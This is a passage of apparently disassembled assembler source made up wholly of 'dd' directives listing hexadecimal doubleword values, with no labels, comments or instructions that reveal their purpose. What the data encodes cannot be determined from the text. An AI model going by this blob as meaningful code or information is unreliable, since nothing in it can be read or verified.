402CBF20h, 1F3D2191h dd 0D3403174h, 27A87DF3h, 0FA64091Dh, 0B913EC0Fh, 42CBE057h dd 27A6B0Ah, 504F6856h, 68C25984h, 5B6DA4DFh, 0CCC74282h dd 0BC92F2A2h, 0C62E38C4h, 0D4BD42AEh, 0B8DEA80Bh, 0C2665B02h dd 9092F74Bh, 0F68D67Eh, 0AF82622Ch, 61750E25h, 87045400h dd 77A4DFh, 8061B551h, 231F48EDh, 0BB1EBC20h, 36895C21h dd 8005D589h, 81EEB259h, 0EBE9CD01h, 294152D2h, 0A5EB7A30h dd 0ED4B1955h, 29B3937Fh, 40B509FDh, 0E75D15E2h, 9BE9840Eh dd 0EC0597DCh, 0BB9AE56Ch, 92BCB43Fh, 0ECE8C8F0h, 0A62F0893h dd 24083526h, 0BF570166h, 3A9A7FA2h, 565C0300h, 484740C8h dd 2B2D364Fh, 0CDB56103h, 42C1FD82h, 6767DFCh, 751063CAh dd 58161496h, 1E109EA4h, 0CEF84AFAh, 9C183581h, 0E8BF840Dh dd 54ECF37Bh, 868B444Eh, 885107DBh, 4BCC4FCEh, 25F374A3h dd 0A0A93C5Dh, 0B1D177Eh, 0DA0154C5h, 0E083208h, 2E9835Bh dd 0C42A4455h, 0FFBFD473h, 609FC08Ch, 0F9B98392h, 3648544Dh dd 6F528CCh, 612EC20Ah, 0CA14ED1Ah, 29084080h, 595BDA17h dd 8B5AC8B6h, 50A94B8Ch, 7D4028DAh, 61066851h, 590DEB7Bh dd 29674C78h, 7DC19A40h, 9F08F6AEh, 0AC20AC71h, 0E604F10Fh dd 0CE0184C7h, 3A84F0F8h, 310616BDh, 4E0858B5h, 0EB110EAFh dd 2E3B68A2h, 20FD665Fh, 0E9135DE2h, 3421C122h, 2801601Eh dd 0C53F4F0h, 0A5A67FE1h, 0A7A2A7Bh, 0B0809D25h, 0BA200D66h dd 0E90B7C62h, 2C95DA12h, 12328EE7h, 0DB7F0067h, 0E94BCE15h dd 79DE4476h, 6306D4C2h, 4F415735h, 5801C746h, 493C7698h dd 329CD3F7h, 0B3EAA08Ah, 0F32F5250h, 7C3F37ECh, 60D1A74Fh dd 137F2D03h, 0BB4B4A49h, 4A80CB2Ch, 8A4EFC87h, 0C601268Dh dd 0DB544BAh, 488B4AA2h, 4D32DC89h, 0D608E612h, 2EDBF501h dd 0E16FA522h, 4C63361Ah, 0A2E9C25Ah, 0B566D510h, 6DB02232h dd 7D2477EDh, 4ACFAB5Bh, 49144E73h, 0F09650C8h, 11696800h dd 875F6BC4h, 0D5F730EFh, 0FA28E908h, 0FD13AE91h, 0F5F44404h dd 4E656802h, 609BDECh, 0F46D455Ah, 1B4C81ACh, 80E001E9h dd 29D7C1ABh, 72F77012h, 41D924D1h, 9CE0324Bh, 55526970h dd 0D02D7E4Fh, 9F5F1406h, 0A8BC5350h, 453AFE59h, 0FC51C66Ch dd 5F3A9E30h, 345BEBC0h, 0F4E3E437h, 27589ECBh, 82B6C570h dd 0E3F0808Ch, 0BE5A5CB5h, 4B6D0CDEh, 699CD299h, 1C47BF1Fh dd 46A41A88h, 780BAB0h, 0B151E0CCh, 19C16179h, 8859E428h dd 0C4657BB8h, 0CA00F675h, 80D4865Ah, 385E6BF4h, 6584C502h dd 68F7187Dh, 0C94D4E7Eh, 20B525Bh, 90E36C7Dh, 0EE2027FBh dd 2D203AEEh, 69C29F57h, 930B0E41h, 0A907661Ah, 0E1593BA2h dd 0D56C5F85h, 0F327DBD4h, 67DF6C3Ah, 9D34AA81h, 0E9610271h dd 0A22BED3Ch, 0BC2778ACh, 4948A993h, 102DD06h, 349D28E4h dd 58323074h, 0DB4A08E5h, 0CBB1E18h, 0C8CB290Bh, 5C27A44Eh dd 22AB2CBAh, 31709F51h, 2C02E581h, 50AFC447h, 4C61F616h dd 196B24h, 1747F54Ch, 252B7C5Dh, 5FA56EDBh, 98E2A46Dh dd 4F2B1652h, 1A5C26A9h, 85813507h, 0EA2DE55Eh, 68E98C90h dd 0C0469D92h, 0A276DEh, 0C008F580h, 0E5D005EDh, 0F370C5F0h dd 62E9EE09h, 0E9BDF45Fh, 614B77DEh, 2C294B4h, 84605758h dd 0B1204697h, 14F9E61h, 875163E3h, 0F311816Fh, 91AEAA23h dd 0CCA3B47Eh, 0A403E348h, 0C50B5BE6h, 4FA56EE9h, 0A652AA05h dd 0FC921EAh, 0E20960C8h, 0F82A5881h, 50CA209h, 4A1E81E1h dd 0E36800A9h, 0F2659D79h, 0A4C3E989h, 0A2AE5C18h, 39FAD3E9h dd 0C79204A1h, 0CB13D197h, 1340224Ah, 0B89DD4E7h, 0FA23123Bh dd 0CC931561h, 825EF63Fh, 4A8B63E9h, 513D8464h, 0E50127BBh dd 264E278h, 884233Ah, 0A6714043h, 60092516h, 0D6E99B40h dd 90E8A84Ah, 56AE42C4h, 0BB0164ABh, 76E06613h, 0A68A4A0Bh dd 6E6C103Dh, 5959054Bh, 42278C55h, 0E7DCAA5Fh, 0BF27F8F5h dd 0CBDD59EAh, 0FDE0D16Eh, 0C3015B89h, 0C05A1684h, 2D51EB1Eh dd 16CF29F6h, 13BDAC55h, 5EE9FC01h, 0C73AF470h, 9C437C0Ah dd 283C8C1Ch, 16B708EFh, 0AF3C40A0h, 0EA80B5A8h, 6C4CB392h dd 3CFE975Ch, 0C12D6848h, 20B04C25h, 554AE721h, 444FD3E7h dd 179BDBDFh, 0E94F9EA8h, 66600524h, 1CAABD61h, 0F97DF4BBh dd 93DB1876h, 14A7F5DDh, 0EC78FB22h, 5F28D204h, 43C5EE07h dd 25CA1DEAh, 0E9221075h, 410D4AFDh, 21616547h, 9597866h dd 7D4911E4h, 0FE31B082h, 1F708175h, 4E94466Eh, 840BBF3h dd 0C4C69F5Eh, 0DBE18725h, 0C5FB4246h, 4E816CD7h, 32B00CB4h dd 0D9DD30D2h, 0B9004E90h, 0D17157Ah, 261AE181h, 838EB061h dd 0E61001E3h, 0D9915A42h, 55D9207Ah, 0D2B145FBh, 1E526122h dd 41EE20EBh, 0AB67A40h, 68B5512Eh, 0ED4B27AFh, 4AC23C50h dd 3BF7109h, 1FBE201h, 0D3685908h, 6FE9D99Dh, 24B18D02h dd 0F68CC0FDh, 0B45007D9h, 5BE480BCh, 0E687AC07h, 665AF4ECh dd 0D9B11FACh, 545201CAh, 0B075A26Fh, 9A711CE9h, 20492F50h dd 75954771h, 2B317D8Ah, 0BBCD2F2Ah, 60885301h, 7B94204Fh dd 57ADBAFh, 0BE59CD29h dd 88AF8DD4h, 0C09AC107h, 28408696h, 4D03D783h, 0E12F1829h dd 0EFC2FEA5h, 5D0E0488h, 44D206DBh, 9E53E15h, 4F57D158h dd 76E214E9h, 0DE40E077h, 2EFC2525h, 80EF0FCh, 0FC640BE9h dd 6AA4C244h, 0F9BE26Eh, 0C023E909h, 1979BDBCh, 20346268h dd 0D40BC1E4h, 9F093548h, 0F731477Ch, 31DE7106h, 0B2FD012Fh dd 0D9ABF72Ah, 0BBC03077h, 0E6031810h, 497ECA23h, 5831DA27h dd 7B4C0FB9h, 0E5A04E4Ah, 5DC4084Dh, 0CDC22397h, 400DC9AFh dd 0E5452301h, 50FF789Dh, 0A891CC4Ah, 7980F4A7h, 90A27E3Ch dd 0E4CE1DC4h, 4300AC07h, 0F1810E5Dh, 0E99D7D61h, 0A886122Fh dd 0EBE913A0h, 84EE1DC4h, 0D029EA1Bh, 3EA5806Fh, 485FA661h dd 0ED81A8C0h, 842913FBh, 60E2B821h, 0AF420D38h, 0A1CDF457h dd 30550E5h, 0B652027Fh, 0E0B753E0h, 0F438E295h, 0C4800780h dd 22798E4Eh, 8EC6E0CDh, 7F6E70BDh, 9CEE24D6h, 59E5109Dh dd 0BA5201FFh, 47BD0248h, 5075D6Ch, 0D0DE5480h, 2743B72Dh dd 0FFE91D17h, 565E5145h, 0FAE7359Dh, 97FB4433h, 8CE11680h dd 164E146Fh, 660AF2B8h, 29C6D73h, 3D873EBAh, 0F2FE5E72h dd 79DD7516h, 1A83B908h, 8F55A6F6h, 40A16B40h, 7736B873h dd 1DA1780h, 579A09C2h, 266A3877h, 5D408207h, 95CFFBAEh dd 412FA9F0h, 92265CE8h, 4BA6513Eh, 0A3B981E2h, 0E840FB06h dd 93B5F347h, 508CC16Ah, 5B81F77Eh, 0E90B288Eh, 0E9536684h dd 35124893h, 0B2D90585h, 0B4795E2Fh, 6C0FEA1Fh, 2CA984F9h dd 3A5AD9FBh, 39E13070h, 0E95C0B61h, 0AE7C84CBh, 0CE315941h dd 88FF1C9h, 112F387h, 60E9D3A4h, 0AC402BB1h, 5AF95CA7h dd 245F9289h, 67946206h, 0E12E9456h, 4C982AAEh, 0B068125Dh dd 6F8F8C52h, 0F73DE567h, 0F7077172h, 0B8F2C4E6h, 61688BA9h dd 10B42689h, 3116A042h, 1425EFEFh, 3060A0F1h, 0FD611BD9h dd 0BAC7121Dh, 731C3008h, 3D3CA744h, 0CF688B58h, 9F9CFD4Ah dd 1D968D96h, 0F7CD15BBh, 4F22CB9Eh, 0E7209066h, 6BB32CBBh dd 4A83207Ch, 0F0D3D5B9h, 0EE12818Bh, 0A21D70B4h, 32C7CE9Dh dd 0C6C74316h, 56404552h, 7B6810B9h, 2E53F203h, 14A5492h dd 8366460Eh, 24D6E9DDh, 56B15B70h, 2D0CF06Bh, 8854AAA9h dd 966BE3C0h, 0B3215856h, 58DE250h, 311EFB71h, 2D2470D1h dd 2E272F68h, 5B97E04Dh, 0B7BE8055h, 7510791Eh, 1469968Ch dd 0C169CF5Fh, 4E7E0B4Ch, 0B58905B4h, 6953F4BAh, 0F752977Ch dd 1FFE8309h, 0D218DC2Dh, 0AEF3C77Fh, 0A5B50C37h, 1712709Fh dd 0A7A05411h, 0F7FB1887h, 5AE908D7h, 2D1740B6h, 7C472FBDh dd 4BF571Ch, 807B1E5Ah, 613DE318h, 0F8014A13h, 0D5A8A285h dd 61B2701h, 0A8A96BE9h, 0A5F0B5E1h, 5725BDB6h, 8EF46EABh dd 82C5E658h, 0DC80B541h, 0B13B51D4h, 30F97EBBh, 6C29BBCh dd 63CE2885h, 0B050A8CBh, 0E0C00407h, 0ABF72408h, 0E96BCE01h dd 7581A2D1h, 41685EF2h, 5B043350h, 1D4284C9h, 0C10F0956h dd 6F01267Fh, 2ACBDBCDh, 4ED3A2F4h, 0B48A2EAh, 8F0D4A57h dd 0C2A2AB5Bh, 595F7E07h, 0A2B06A4Bh, 55212D68h, 0A15F6A5Ah dd 2A7BECB7h, 0B7FAAF93h, 1209DB50h, 0FF6B1164h, 0C4A188h dd 26234948h, 4C5E44E9h, 749AFF7h, 36072860h, 0FDF221AFh dd 0AE824690h, 3ADCF160h, 0FE0A7D25h, 3B760E4Ch, 0F20116EBh dd 2BE834E9h, 71C0EBD2h, 0E5E96419h, 0DC282F39h, 0A3FE4A95h dd 0BA2579FAh, 0F4626AC1h, 421CC8BFh, 0DB71ADEEh, 0DE8F062Dh dd 0A9314A3Bh, 0D4AAD240h, 1DBE80A9h, 2D023E42h, 0F7E8D148h dd 3E5CD0h, 9833C025h, 0C4093552h, 75029001h, 0B182E11Ah dd 0B579FBFh, 44C5E5Fh, 0EF5BDE89h, 8C38E31h, 6F10367Dh dd 0D83012B3h, 5E95CBBAh, 2A490A8h, 6CB4E936h, 2A95A0DDh dd 99694FD0h, 0C709E432h, 0E7FC942Dh, 0EEF150BFh, 11615B16h dd 4524E0F8h, 0E2B11259h, 124A78E5h, 0EA5B574Fh, 8085CA56h dd 31C2E7F2h, 8CF08EAh, 0BB019406h, 40D3239Eh, 0AF3BC30h dd 153A0AF6h, 0E3E98488h, 0DE09A8B4h, 0A0730A49h, 0C0B0B666h dd 80020FE6h, 32C442CEh, 0A6CCAB5Fh, 83D16EEBh, 0ACDA4EA9h dd 0DDE58EAh, 0C28CD3D9h, 0CC875A02h, 1B61823Fh, 0C5C91055h dd 0F275EE5Eh, 98E7FDEFh, 0B7878896h, 72FE05C0h, 0C619C37h dd 2D041941h, 8EA503Fh, 4D2D0948h, 0BE290F46h, 0C51C86A7h dd 0BDC1F32Fh, 0E9AE1A98h, 682FE289h, 67A7744Ch, 62079150h dd 945FEEDEh, 3353506h, 4B69E81Dh, 0E9A92CBAh, 21CE1F2Fh dd 4151675Bh, 12A2B03Eh, 0F5B12F16h, 3EED2917h, 613DCE16h dd 2FBD4FAh, 18B27F21h, 1BAA4FF7h, 0F6160C83h, 2BAC5D35h dd 4A73F2C0h, 12D061B4h, 55F61081h, 66AC2C0Bh, 21674D9h dd 0E9F00EE1h, 0ACFE58F9h, 6BA302D3h, 12583716h, 201DC976h dd 0D041810Dh, 837FD869h, 7ADE931h, 8BAFE5D9h, 44B3E291h dd 4267BFDh, 0D13006B2h, 2A03AE5Ah, 0CBE2B551h, 2183B4EBh dd 0FCB1E4DEh, 81048CC5h, 5D3BDECh, 2B3599BAh, 0AE806462h dd 4638A6F1h, 1F99F0Ah, 0A896C742h, 0E612D470h, 0C45E66BCh dd 64D48059h, 324B9945h, 0DAFBEE1h, 0BB9D0C72h, 0E9564A01h dd 5F5CC99Eh, 45F4AAA3h, 0B70EC348h, 4CC53FF2h, 2AEC80C6h dd 0FCC925E5h, 0E92D83D0h, 52B85D0h, 17CC94EEh, 0DD40AACAh dd 1E9D029h, 5CE8B7B0h, 745D1E68h, 0F9FC8BF0h, 75B9809Dh dd 0BF045D3Eh, 7A05A179h, 0E8B1E974h, 0B092FFA8h, 3C1F5E05h dd 49D23334h, 0A46B9DB1h, 0AD69E7Bh, 0A51437EFh, 8831B06Ah dd 772CC377h, 1E42C3CEh, 6D640FE1h, 3A84C945h, 6D6197E5h dd 0C770407Ah, 8688CCE8h, 0BBD36997h, 743A7BADh, 0EBA4A609h dd 1F4DBC5Ah, 0DEEF8B53h, 90C85432h, 0C82538C9h, 0BDF39C5Fh dd 0E9066ED3h, 4C34DAB3h, 6701DC53h, 4D73576Ah, 417CC645h dd 9350B511h, 486D1F85h, 0C4AA1332h, 0BF728552h, 0CA42A0CBh dd 4A342101h, 3A86E966h, 8AEA2612h, 0CB410Bh, 1F0556FFh dd 27EC4748h, 25B5C06h, 2D4F75E9h, 0E3482DFEh, 0D8494E82h dd 830FF759h, 0A80A044Ah, 0B84C402Fh, 0C0356613h, 8E0308EFh dd 0A9B2D01h, 0F3B55A5h, 0A4CB56FEh, 0C34FEFFAh, 0E98294B2h dd 0E755583Ch, 0E26809A4h, 106B897Fh, 0B1ACC0D9h, 0F829096Eh dd 0EF933404h, 71F20131h, 0EA16BB05h, 2D68C62Ch, 1EF679B8h dd 0D9C7F5Ah, 732DF2B9h, 0E9D21281h, 441C10CEh, 0D3C1E65Bh dd 4C5A9FCh, 0ADDDAB44h, 0B99B210h, 91155B68h, 6E3D313Eh dd 52E95D60h, 0AF96B959h, 3A85CF81h, 363B11FEh, 0B2EFB989h dd 0E040D011h, 0C9CF43C8h, 0E6FCE5C2h, 4A9B8EAAh, 57F69FC5h dd 0F44910h, 0C21DAA05h, 772522h, 35780364h, 516F4652h dd 4AF5D0B7h, 9E4EA891h, 0D75FFA4Bh, 0EA9A6593h, 281EC9F3h dd 53CBF42Fh, 39FED5D2h, 73178C9Eh, 823F71A5h, 49DFC191h dd 8AFF01ECh, 88D16807h, 325B73DAh, 0F51A8754h, 60F1E750h dd 5082D12Ch, 36C167F6h, 93ADC253h, 0EB923D5Ch, 876021BFh dd 998C7BBBh, 4DB9649Fh, 0C418FD5Bh, 1582505Eh, 430209F7h dd 6B47A669h, 292524BFh, 0C1685382h, 0BEBE9905h, 58420E30h dd 9A06247Fh, 0C66B173h, 0F302DF00h, 0BB535619h, 4F127CBEh dd 60ECD01Eh, 6E13022Fh, 34EB5C29h, 5B0C0B3Ah, 1C096A62h dd 6DE6B202h, 9DDF703h, 283F97D0h, 0AF150557h, 88507D41h dd 0E3CD53DCh, 8B99853Ah, 31BA4176h, 60ACF13Eh, 2997EFC1h dd 0A64A74FAh, 9D0908CEh dd 89EF2909h, 0E7255FDDh, 3344AA5Dh, 69EF4B66h, 99A680DEh dd 4E063959h, 2DB80B50h, 35507747h, 5060860h, 0F0DD0F7h dd 3C6B37B9h, 0C3A0CE0Eh, 915F2D59h, 33B6FC73h, 5E09CF26h dd 62EDD956h, 1551EA1Dh, 274F0788h, 5904FE71h, 98BECE01h dd 0E760899Dh, 0A5602F96h, 5BE97A62h, 0E236D3DAh, 34D2D593h dd 4DB38E48h, 0BA3E6097h, 90129FAEh, 0D85D1762h, 0AF08411h dd 25F67C85h, 37D040ECh, 89A03E56h, 0A3062CDh, 89081D20h dd 296B3723h, 7E59803Dh, 74F20D58h, 8AE910C6h, 6E575CF1h dd 0B56C4325h, 2DEE71BDh, 5A54A182h, 687C58C1h, 68D8D6E6h dd 0B3645F4Fh, 7D4110E9h, 622C5A0Fh, 0D80EC54Eh, 783BDDh dd 0B353515Bh, 303CB160h, 0E1E9D909h, 5D3A1AEDh, 25279CCCh dd 3CE8F2F5h, 61878107h, 6035BC45h, 920F67F1h, 132FCA7Eh dd 9F625B6Ah, 0E26626F7h, 99575788h, 8104D358h, 3E4137CDh dd 5CEA9035h, 6034929Ch, 533BEAD2h, 7704D48h, 375C41CAh dd 22ABE660h, 0D80848ECh, 0BF17CD05h, 46E7003Fh, 0F77BAE10h dd 64DD530h, 0B0B0ED81h, 0E9BA18C7h, 8058B916h, 28DAEB0Ah dd 66C281D8h, 46856152h, 0E796483Ch, 0E5267D2Fh, 5E52A5D5h dd 15E9627Eh, 0C29468FDh, 0DD47C940h, 925E79C3h, 5E189AEDh dd 0E11B3387h, 7CEB8282h, 5FED2182h, 0EC65C108h, 0CABDDC2Ah dd 0E4F3C1CBh, 5E00B62Ah, 0ABDA70C3h, 0C92E7DD7h, 0AED84F79h dd 90FC7920h, 0F489553Ch, 500BF92Ah, 53125233h, 7601156Fh dd 1F112DC8h, 0E933BD41h, 0D57ED531h, 0E901BBB9h, 2EEC16FBh dd 88FEF021h, 0E90520BFh, 9CEA756Ah, 0F4F85DB0h, 0C0169865h dd 0E2808EC0h, 4FC2E6A2h, 0ECB8F11Bh, 58F6302Eh, 4DAF639h dd 0F13AE9D2h, 648158ECh, 0F03DE74Dh, 0AFBFD45Ch, 0E5CFA039h dd 0C0481E6Dh, 0A8BDC711h, 0FABD2761h, 319B60D7h, 7754702Dh dd 440013Bh, 0DAF0038Dh, 442A59F1h, 0A9523168h, 0DF29C7D6h dd 9DAA6ADFh, 0B137681h, 0F82A3152h, 4572050Eh, 4BB1283h dd 10DEC166h, 0C66C2F99h, 0BC249102h, 0AA92324Dh, 0A812E534h dd 0EF954627h, 6ADA08h, 0C5FE35B5h, 0FB7F6866h, 523C48BFh dd 802E0CB2h, 87067AF2h, 24058849h, 53422D75h, 0DBC67FF7h dd 0FC07F102h, 0C151015Ch, 403C5A1Ch, 0D655B34Bh, 0E9820EF8h dd 0D25D8170h, 0E34CC1BCh, 0B9637F3Ah, 81E1A75Fh, 805A4F1Ah dd 90CD5B21h, 51685200h, 0DD30585Ah, 0E0787EC5h, 0BC762BAh dd 854A95E9h, 0AC988CF8h, 2D91345Ch, 3CD101h, 0D5486F68h dd 31395E59h, 1A454CFEh, 0DF3B7D6Ch, 0E9D56E62h, 0A46B0595h dd 555FE99Fh, 59E8BE91h, 51C22072h, 86085B5h, 0EC748087h dd 776C073h, 9F6BE43Ch, 0F40F01C4h, 32EDEE45h, 92C21C09h dd 58E746Ch, 0AB6F1B68h, 94952CCCh, 9BEE8163h, 203BC912h dd 6819DDB3h, 0CD0C65A7h, 9806D8F0h, 0D2BE0970h, 5D5289F2h dd 99638E2Ch, 0DA4494C5h, 6BC3E3D0h, 0CFB6D1B7h, 89EA6581h dd 2E5C3D69h, 819B594h, 3DA7DF4Ch, 0DC24E8EEh, 0D4275B61h dd 752C0B7Bh, 0F409B1Ah, 0D1E462Ah, 0F39F537Dh, 35E9D805h dd 33BFC853h, 0A0E2CB9Eh, 7F90D3F0h, 0AB5BEF50h, 5F48B841h dd 0AFB10151h, 0EF8050B7h, 2784609Bh, 34FBC24Ah, 6AA8A0h dd 81459A11h, 171912EFh, 0B8293491h, 590840DFh, 8050ED2h dd 50EF15DCh, 1C68081Ch, 155B1723h, 679EF2F3h, 0DCAD30C7h dd 4DE9E15Ah, 5F4224FDh, 81671649h, 62C9583Dh, 18235A20h dd 0BE517169h, 0F50F79E8h, 0B883E911h, 0EDFF63Ch, 0C062E780h dd 0D709046Fh, 0F70B6B56h, 2681773Eh, 3BC4B4E9h, 0B52708F3h dd 302C28E1h, 7C4F4AEEh, 5778C644h, 5CE23AE8h, 2FFEECCAh dd 0F57E2225h, 895DAB34h, 0DC10D5BAh, 6E312ABFh, 0E8F8142Dh dd 6702BE00h, 0C1468E0Eh, 0FEBCD2E6h, 1DDE6402h, 0B7F017E9h dd 0F6C8FE00h, 530604D0h, 0F5C77288h, 829E1420h, 9BCCA3C2h dd 0ABBB44F0h, 0FD5FE904h, 8990EDA3h, 74504B78h, 0FE535EFh dd 0AB80B053h, 3D08E94Dh, 1212B9Eh, 0AE9F8055h, 8E440614h dd 5A6008C3h, 8F8CC115h, 157C601h, 208C8ACBh, 0EC08B86Dh dd 4005D340h, 0C340D457h, 3091E396h, 77A1180Fh, 0C4650210h dd 13178008h, 0FF087418h, 0ED638235h, 8D66307Bh, 20082411h dd 21317178h, 44BF20AAh, 8C90CD01h, 89B2B10h, 180362E2h dd 0CA027794h, 0EC470381h, 4CF40810h, 1583D008h, 0B610561Bh dd 0EE9E2061h, 892EF31h, 2801C7D2h, 7E20882Eh, 0B2D508CAh dd 0C6E4408h, 0D3086991h, 0DF55E640h, 18F490D1h, 69086554h dd 0ED4180F3h, 0DF29C380h, 1094D028h, 8C18AB9Ah, 0A9851870h dd 0C64AFA80h, 8485910h, 79F57732h, 0E95306A0h, 2034FA31h dd 88C0F12h, 671895B9h, 8A087862h, 66A103EAh, 512E2033h dd 0A8488D3Ah, 72A0396Bh, 293F5833h, 0B10186Dh, 0B7340889h dd 80F7BC80h, 28C404DAh, 0EA0A557Ch, 46838CC0h, 95F9C418h dd 1080B208h, 2F1850C5h, 0CE8608FFh, 9853A981h, 3330FEE7h dd 0FE0879F9h, 19335110h, 10623C3Eh, 91032B12h, 40087710h dd 71C6481Eh, 40995482h, 884071B8h, 96084002h, 65915B66h dd 10836239h, 85038731h, 92081B20h, 93171DAh, 31F921D2h dd 19FB801h, 108A3C39h, 99EC4562h, 24AA0886h, 0CF40FD1Ch dd 0CE9240E6h, 1F31AC92h, 48E10807h, 73A01888h, 107BB50Ch dd 0DE374029h, 0D8208C92h, 826A3284h, 0E8A32C20h, 1012FC58h dd 3048DED9h, 0D817086Ah, 0C19B363Bh, 90F55469h, 88B0A904h dd 25C9AC51h, 88EB4401h, 8728110h, 0CB0AD51Ah, 8E90A4A6h dd 891B119h, 57BC519Fh, 0D8208864h, 90CD155Bh, 8BF6018h dd 18C68A2Eh, 2008272Fh, 4E207CA4h, 44524926h, 18A1ED10h dd 3208B451h, 4020C430h, 996C0CEEh, 12E0A837h, 92CC80A7h dd 80962980h, 8C80EFE5h, 4C10C940h, 70C42CA3h, 0C4A2182Ah dd 0F9DC9355h, 68590218h, 80C49828h, 10C64E70h, 13D1F54Dh dd 22E8FC9Ch, 0ECC05FA4h, 1EC94792h, 33B8788Bh, 3B1044AAh dd 25EC0E5h, 896313EBh, 7AA7B90Eh, 105003Dh, 49408F44h dd 750BC90Bh, 78748BF7h, 3DE165Ah, 33F731F0h, 0B10FE0C0h dd 2C304F35h, 666C22FBh, 7A8A2EC9h, 5088B7C2h, 4A25FAEDh dd 0F556ABCDh, 75D90101h, 0C76E6410h, 3EE1373Bh, 28F79FA6h dd 0E4CFDB99h, 4BAFCA21h, 0EB800300h, 4318239Bh, 0E9C230F3h dd 0EE142827h, 0B6521F16h, 5AF54225h, 61D5EDD0h, 83D480E3h dd 3AD4702Ch, 0E94E04E8h, 59A3D700h, 5619DE05h, 0E9A2C01Fh dd 0D9BDC437h, 0D6024B15h, 9CD5CBB3h, 0EF05074Ah, 503B4627h dd 7F304BE5h, 0D3FCE910h, 7C88591Dh, 12BA00Bh, 886E1E57h dd 94036836h, 44E90EA8h, 5A27383Ch, 331BD7A1h, 4829D9B2h dd 0A75FB4C0h, 52A0C8E8h, 384ED468h, 11A167BDh, 53909D1Ch dd 0C098C8Dh, 0CC8F5F7Ah, 0AD286104h, 59834AC5h, 91166AA3h dd 7A16B6DDh, 0CDE24030h, 27FD01EBh, 0B150B0CBh, 42A6DB9Dh dd 0AA9EFBF3h, 1AD90124h, 0E04FF210h, 68A27DAFh, 0C307D276h dd 5CB97C4Eh, 5DF90E0Ch, 0EB017623h, 8AD006AEh, 47E9170Bh dd 6210A5FDh, 0A6327A43h, 0F89C9D1h, 0A8FE8324h, 22E18736h dd 35407A3Dh, 7EB753C1h, 3FC77EA6h, 0EF0F0EF7h, 5B25209Eh dd 0AFA50F50h, 1CA9E3B6h, 74F8484Fh, 0CF9BC8BFh, 5620026Fh dd 17ACE91Eh, 0C604BC82h, 6E27E0D5h, 199DC44Ah, 0DC5125Ah dd 4105DFDh, 895E1F45h dd 236A123Ch, 2BDD4240h, 625A3391h, 506F8A59h, 9CE7009h dd 0AD93C1EDh, 58351674h, 0FC04F0A7h, 0E41AF641h, 3001B6DAh dd 0E9504C5Ch, 0B37EAB82h, 2CFBD70Dh, 0A2405F1Fh, 348C0B0Dh dd 0BC053AEh, 6F5F8016h, 0CE0340BDh, 2C9E7B1Eh, 7319EEB0h dd 2D30FE03h, 0BCDB7F1Dh, 0F06C4BAh, 0C7095E07h, 0B442CF7Ch dd 0E3D54BA1h, 0FBF0CFC3h, 0AC413568h, 4F953EC0h, 2F54D24h dd 0E5A4C9FAh, 2BD01740h, 95212328h, 0D1A56225h, 59BF4125h dd 0E94BC823h, 0D438EF28h, 0E53CB397h, 617B71AFh, 88108717h dd 168259E8h, 682DB022h, 620C9EF7h, 0FE84E8B3h, 0FD0BEE5Bh dd 2118DD8Eh, 0D5B0BE9h, 0E2DCA7F5h, 5B0ECBBDh, 274C0957h dd 1ED8655Bh, 4E76E75Eh, 1A4B9405h, 49F1FE00h, 0EC19432Ah dd 631C0CC1h, 3C0C69A1h, 0A58F4C16h, 955B98A0h, 0BF87408h dd 18774E9Ah, 0C5CC3B12h, 0E16E6C9h, 0C6C04CCAh, 7EC42299h dd 0D82FE0A0h, 29574001h, 0D1F75EF1h, 45054A8Ah, 0FB51259Dh dd 4021E343h, 2568E91Bh, 1CC6140Dh, 0E65CA92Fh, 33AE0984h dd 86803DD5h, 722F91EAh, 0E9A03B5Bh, 0A62E2FE9h, 7A34423h dd 3ABD5A03h, 0D1466216h, 61408C09h, 7B136091h, 0D2E03235h dd 540D6E9h, 44B5081Eh, 6656C9DDh, 346055F6h, 977E7728h dd 0C827AEEh, 0D711400h, 0A7993988h, 7447840Bh, 0BA52E095h dd 264D585Ah, 364D0B91h, 12E37448h, 0FC234F64h, 42F1DDDCh dd 0FE5866E6h, 0C9B8AAC0h, 46BA66A0h, 140C6F24h, 2CBBF312h dd 30BFCC03h, 2D0F34B2h, 3584C57h, 7B823E3Ah, 1369882Ah dd 0BDAEE926h, 0CAEC8081h, 0E2EBE508h, 0C6EEDD1Eh, 904F3B7h dd 0BB5DFBE4h, 860FD9C1h, 0F5B8556Bh, 1FA85313h, 53CB9654h dd 0D420FB43h, 4CF22DF3h, 0F7355B54h, 0D6E6AD0Dh, 8C6B12B2h dd 9FAA9CD7h, 2F614EF8h, 0E3C7805Eh, 3CE1EECCh, 0C63AFE28h dd 8E864EDBh, 0F8DCFD5Ah, 5E7E1F43h, 8463E014h, 1A933816h dd 0B43B09F1h, 137AD8EAh, 8151BB30h, 0E7AB0347h, 7025125h dd 0E789DF59h, 0A18EA754h, 9DAA1367h, 0CE2820B3h, 496A011Ah dd 3AE1030Ch, 40C1CA6Ch, 800A2FA5h, 7122E05h, 1AB5596h dd 0BEA52125h, 5BC42F13h, 0BAD23CE9h, 16BAE9DCh, 54D2E0Bh dd 8962B4DAh, 51F56CE4h, 0A3396A7Ch, 1A7DCE00h, 0E7134C97h dd 8E60B800h, 0B659E97Eh, 0CEBB41B9h, 9209AFB4h, 68AD0922h dd 665440EAh, 1B0AA360h, 568DFA61h, 45028877h, 3174EE6Dh dd 0BC2804F5h, 0AC9B35BAh, 0A55126E9h, 1C6EBD8Eh, 7ABEDE27h dd 70599954h, 0D2009965h, 2E1271C5h, 4305D07h, 0CC014860h dd 5952DC41h, 11390F2Fh, 5F514720h, 0CBAE31D4h, 0A2E91284h dd 8CBF3A40h, 0E410557Dh, 69AC0068h, 0E95D2C19h, 0BBA4EA2Bh dd 8BCB145Ah, 0A29DAC4Fh, 0DCE70983h, 47A8E985h, 13FF5E52h dd 8478BD11h, 0AA12DCE5h, 0C609B01Ch, 83890058h, 165AF130h dd 34273168h, 0D046C04Ch, 0A48CE80h, 67B3298h, 88FA00F6h dd 0BB30E9F7h, 0ED81762Ch, 51201E55h, 207EDDA6h, 4E00EFF6h dd 10E5936h, 0A8B850F7h, 0B058C708h, 6AF945EAh, 79B87257h dd 6C31AE4Bh, 0E02EF9F7h, 8D9028C2h, 82A1754Ch, 0FD0E5D8Ch dd 9247900h, 13427E6h, 8007CD7h, 5F5E575Ah, 0DF5327E9h dd 63622354h, 9F5355E7h, 0DE124B24h, 0F2D7DF0h, 1EC2650h dd 0EF875845h, 6260708Ch, 0E2D11085h, 1D3344D7h, 0E6548DEAh dd 0F6130D7Ch, 0F4367822h, 0B76DCC2h, 9F03EF76h, 0F0B144Ah dd 22049C0Ch, 8904AE93h, 0C083F301h, 4C06C926h, 8A2EEBE1h dd 